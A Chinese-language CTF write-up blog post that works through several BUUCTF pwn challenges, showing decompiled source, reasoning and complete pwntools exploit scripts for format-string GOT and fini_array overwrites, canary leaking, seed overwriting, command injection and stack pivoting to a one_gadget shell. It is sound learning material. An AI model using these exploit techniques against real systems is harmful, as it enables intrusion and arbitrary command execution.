0%

BUU刷题记录

还是buu刷题记录,不过这个记录的题目都是让我学到的内容更多的题,值对一篇单独的文章。

[]( ̄▽ ̄)*

(fini.arry)ciscn_2019_sw_1

保护&源码

保护:

image-20240710110220628

源码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}
int sys()
{
return system(command);
}

思路

​ 程序中有一个格式化字符串漏洞,但只能执行一次格式化漏洞函数,有system函数。我们可以看到printf(format)后面main函数就执行完了,所以不管我们修改哪一个函数的got表值为system@plt的地址,都不行。后来看wp,发现我们可以修改fini_array的函数指针为main函数地址,这样就能再执行一次main函数了。

​ 刚开始用下面这个方法,泄漏我们输入的第一个参数在栈中的偏移量,以为是4,一直打不通,调试的时候查看栈中的值,发现栈中的第1,25个参数都是我们输入的第一个参数,所以我们并不能确定准确的偏移量

image-20240305185357092

image-20240710110200865

​ 然后我发送下面这个payload

payload = b'aaaabbbb'+b'%p%p%p%p%p'

​ 现在可以看出泄漏的第1个参数地址是栈中的第2个参数,也就是说我们计算偏移量的时候要从02这个序号开始往下数

image-20240305185704092

exp

from tools import *
#p = process('./sw1')
p = remote("node5.buuoj.cn",26399)
#debug(p,0x80485A8)
#context.arch='i386'
elf = ELF('./sw1')

main_addr = 0x08048534
fini_array_addr = 0x0804979C
printf_got = 0x0804989c
sys_plt = 0x080483d0

payload = p32(printf_got+2)+p32(printf_got)+p32(fini_array_addr)
payload += b'%'+bytes(str(0x804-12),encoding='utf-8')+b'c'+b'%4$hn'
#这里还要减去12,因为前面发送的3个地址一共12个字节
payload += b'%'+bytes(str(0x83d0-0x804),encoding='utf-8')+b'c'+b'%5$hn'
payload += b'%'+bytes(str(0x8534-0x83d0),encoding='utf-8')+b'c'+b'%6$hn'
p.recvuntil(b'name?')
p.sendline(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

拿到flag

image-20240710110144974

qctf_2018_dice_game

​ 分析程序,猜随机数,猜对了就能拿到flag。本题有两种方法,一种是利用溢出覆盖seed的值,然后使其为定值,这样我们就能拿到50个随机数,然后发送。第2种方法是自己起一个生成随机数的程序,在生成随机数的同时发送随机数,同样也能得到flag

image-20240306124511429

法1

​ 先说第1种,程序中第13行有一个溢出点,read读入0x50个字节到buf中,可以算出buf距离seed的偏移量为0x40。也就是说我们可以覆盖seed,使其为定值,注意这里覆盖要在seed = time(0LL)之后。

image-20240306131031947
payload = b'a'*(0x50-0x10)+p64(0)

​ 此时已经覆盖seed0,然后写一个c语言程序打印出种子seed0时,生成的前50个随机数,如下:

#include <stdio.h>
#include <stdlib.h>
int main()
{
srand(0);
int i=1;
for(i=0;i<50;i++)
{
int v2 = rand() % 6 + 1;
printf("%d",v2);
}

return 0;
}

image-20240710110124591

最后exp如下:

from tools import *
#p = process('./q')
p = remote("node5.buuoj.cn",28649)
#debug(p)

payload = b'a'*(0x50-0x10)+p64(0)
p.sendline(payload)
v2="25426251423232651155634433322261116425254446323361"
for i in v2:
p.sendline(i)

p.interactive()

法2

​ 这一种方法是最常见的,也是最容易想到的,就是自己起一个生成随机数的程序,在生成随机数的同时发送随机数,同样也能得到flag

生成随机数的c程序rand.c

#include<stdio.h>
int main(){
unsigned int seed[2];
*seed = time(0LL);
srand(seed[0]);
int v2=0;
for(int i =0;i<50;i++){
v2 = rand() % 6 + 1;
printf("======>>>%d\n",v2);

}
}

exp

from tools import *
#debug(p,"pie",0x0000000000000C44)
#p = process('./q')
p = remote("node5.buuoj.cn",28649)

p.sendafter("ome, let me know your name:",str(0))
a = process("./rand")

for i in range(50):
a.recvuntil("==>>>")
value = a.recvline(False).decode()
p.sendlineafter("me the point(1~6): ",str(value))
value = 0
p.interactive()

拿到flag

image-20240306133033057

(canary)linkctf_2018.7_babypie

保护&源码

保护:

image-20240710110101339

源码:

__int64 sub_960()
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

buf[5] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
memset(buf, 0, 32);
puts("Input your Name:");
read(0, buf, 0x30uLL);
printf("Hello %s:\n", (const char *)buf);
read(0, buf, 0x60uLL);
return 0LL;
}
int sub_A3E()
{
return system("/bin/sh");
}

思路

​ 程序中直接给了后门函数,可以栈溢出,首先整体思路就是覆盖main函数返回地址为后门函数地址。但是开了canaryPIE保护,所以我们接下来要看看是否能绕过这两个保护。

​ 首先是PIE保护,我们可以看到后门函数地址与原先地址只有最后1个字节不同,所以我们可以只覆盖返回地址的最后一、1个字节,进而控制执行流执行后门函数。

image-20240309162057963

​ 下面图中,printf可以打印出buf的地址里的字符串,正常来讲是不会输出canary的,因为canary的最后1个字节是\x00标志着字符串的结束,但是如果可以覆盖\x00canary便会被连带着打印出来。

image-20240710110038682

read可以读入64个字节,覆盖canary最后1个字节\x00只需要41个字节即可

屏幕截图 2024-03-09 170006

payload = b'a'*40+b'b'
p.sendafter("Input your Name:\n",payload)

覆盖后,如图:

image-20240710110019800

此时,canary便可被输出,接收canary

p.recvuntil(b'b')
canary = u64(p.recv(7).rjust(8,b'\x00'))
#这里不用ljust而是用rjust,ljust会把\x00补到高字节,而rjust会把\x00补到低字节

exp

from tools import *
p,elf,libc = load("babypie","node5.buuoj.cn:26795")
#debug(p)

payload = b'a'*40+b'b'
p.sendafter("Input your Name:\n",payload)
p.recvuntil(b'b')
canary = u64(p.recv(7).rjust(8,b'\x00'))
log_addr("canary")
payload = b'a'*0x28+p64(canary)+p64(0)+b'\x3f'
p.send(payload)

p.interactive()

拿到flag

image-20240309212604335

(交换变量值)pwnable_loveletter

保护&源码

保护:

image-20240710105958363

源码:

image-20240318121511252 image-20240318121436189

思路

​ 最开始以为程序中没有栈溢出,思路是用逻辑运算符分隔字符串执行/bin/sh或者其他命令,但是看到会被protect函数过滤。

​ 然后也是在这个函数中,我们发现替换后的内容比替换前多了3个字节,可以造成栈溢出。控制v6这个值为1,就会把prolog="echo I love "中的第一个字节拼接到loveletter中。然后我们直接写进nv sh -c sh 拼接即可,注意这里要在最后留一个空格,因为后面还会在被拼接数据。

payload = b'nv sh -c sh'
payload += b'a'*(253-11)+b';'+b'\x01'

exp

from tools import *
#p = process('./love')
p = remote("node5.buuoj.cn",28357)
#debug(p)

payload = b'nv sh -c sh '
payload += b'a'*(253-12)+b';'+b'\x01'
p.sendline(payload)

p.interactive()

拿到flag

image-20240710105939258

picoctf_2018_echo back(格式化字符串)

总结

​ 程序中有system函数,有格式化字符串漏洞,RELRO保护为Partial RELRO,可以劫持printfgot表为system@plt。但是只有一次printf,然后思路就卡在这里了。后来又想到printf后面还有两个puts,可以修改putsgot表为vuln的地址,然后劫持程序执行流到vuln函数使程序再执行一遍,便可调用syatem函数。

保护&源码

保护:

image-20240323103152232

源码:

image-20240323103303531

exp

from tools import *
#p = process('./b')
p = remote("node5.buuoj.cn",27568)
debug(p,0x8048604)
context.arch='i386'
elf = ELF('./b')

printf_got = elf.got['printf']
puts_got = elf.got['puts']
sys_addr = elf.plt['system']
printf_plt = elf.plt['printf']
sys_value = sys_addr&0xffff
log_addr("sys_value")
vuln_value = 0x85ab
payload = b'%'+bytes(str(0x804),encoding='utf-8')+b'c%17$hn'
payload += b'%'+bytes(str(0x8460-0x804),encoding='utf-8')+b'c%16$hn'
payload += b'%'+bytes(str(0x85ab-0x8460),encoding='utf-8')+b'c%18$hn'
payload += p32(printf_got)+p32(printf_got+2)+p32(puts_got)
p.sendline(payload)
log_addr("printf_got")
log_addr("puts_got")
log_addr("sys_addr")
log_addr("printf_plt")

p.interactive()

拿到flag

image-20240710105915397

[GKCTF 2021]checkin

保护

image-20240710105852575

源码分析

image-20240328171631887

​ 程序中有两次read,第一次是将数据写到了.bss段,第二次有栈溢出漏洞,可以溢出8个字节,我们第一时间想到栈迁移。然后是一个if语句,如果满足条件则执行exit(0)直接退出程序,所以我们要想办法跳过if语句使程序不执行exit(0)

思路

​ 首先我们要想办法绕过if语句,第一个很容易看出,我们写进s1的数据前5个字符必须为admin。但是我们点进第二个函数中,其实我是看不懂这些函数的,然后看别的师傅的wp发现是一个md5加密,也是要我们写到buf中的内容的前5个字符为admin

image-20240328173330991

​ 然后我们开始往.bss段中写rop链,我们让第一个内存单元存储admin,以绕过if语句。然后这里又有一个问题,就是我们read只能读入0x20(32)个字节,而b'admin\x00\x00\x00'+p64(pop_rdi)+p64(puts_got)已经用了24个字节,也就是说我们写入elf.plt['puts']后便不能再写返回地址了,显然这是不行的。所以这里我们直接劫持程序执行流到call puts指令的地址,这样也达到了我们再次进行两次read的目的。

image-20240710105823187

call_puts_addr = 0x4018b5
puts_got = elf.got['puts']
pop_rdi = 0x401ab3
bss_addr = 0x602400
payload = b'admin\x00\x00\x00'+p64(pop_rdi)+p64(puts_got)+p64(call_puts_addr)

然后栈迁移

payload = b'admin\x00\x00\x00'*4+p64(bss_addr)

第二次布置one_gadget.bss段,并进行栈迁移

payload = b'admin\x00\x00\x00'*3+p64(one_gadget)
p.send(payload)
payload = b'admin\x00\x00\x00'*4+p64(bss_addr+0x18)
p.send(payload)

exp

from tools import *
context.log_level='debug'
context.arch='amd64'
p,elf,libc = load("login","node5.buuoj.cn:29508","./libc.so.6")
# p = process('./login')
# p = remote("node5.buuoj.cn",28732)
debug(p,0x4018b5)
# elf = ELF('./login')
# # libc = ELF('./libc.so.6')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

call_puts_addr = 0x4018b5
puts_got = elf.got['puts']
pop_rdi = 0x401ab3
bss_addr = 0x602400
payload = b'admin\x00\x00\x00'+p64(pop_rdi)+p64(puts_got)+p64(call_puts_addr)
p.recvuntil(b'>')
p.send(payload)
payload = b'admin\x00\x00\x00'*4+p64(bss_addr)
p.recvuntil(b'>')
p.send(payload)
p.recvuntil(b'BaileGeBai')
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log_addr("puts_addr")
libc_base = puts_addr-libc.sym['puts']
log_addr("libc_base")
one_gadget = 0x4527a+libc_base #0xebcf1
payload = b'admin\x00\x00\x00'*3+p64(one_gadget)
p.send(payload)
payload = b'admin\x00\x00\x00'*4+p64(bss_addr+0x18)
p.send(payload)

p.interactive()

拿到flag

image-20240710105754596

​ 最后说一下,一开始打本地一直不通并在第二次读入前程序就崩了,而打远程却通了。其实是libc的原因,远程的libc与本地的libc不同,一些栈帧大小也不同,所以我们把本地的libc换成远程的即可。

bbctf_2020_fmt_me

总结

  1. gdb中又学到一个查看地址中内容的命令,x/s以字符串的形式表示。

  2. 如果我们要修改8个字节,但是只写入3个或更少的字节,可以直接用fmtstr_payload函数,fmtstr_payload中的参数

  3. 命令分隔符;

保护

image-20240405174940311

源码

image-20240405175211563

exp

from tools import *
p = process('./fmt')
# p = remote("node5.buuoj.cn",27604)
debug(p,0x4012d5)
elf = ELF('./fmt')
context.arch = 'amd64'

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
log_addr("atoi_got")
log_addr("system_plt")
p.sendline(str(2))
payload = fmtstr_payload(6, {elf.got['system']:elf.sym['main']},write_size='long')
p.sendline(payload)
pause()
p.sendline(str(2))
payload = b'/bin/sh;'
payload+= fmtstr_payload(7,{elf.got['snprintf']:0x401056},8,write_size='long')
p.sendline(payload)

p.interactive()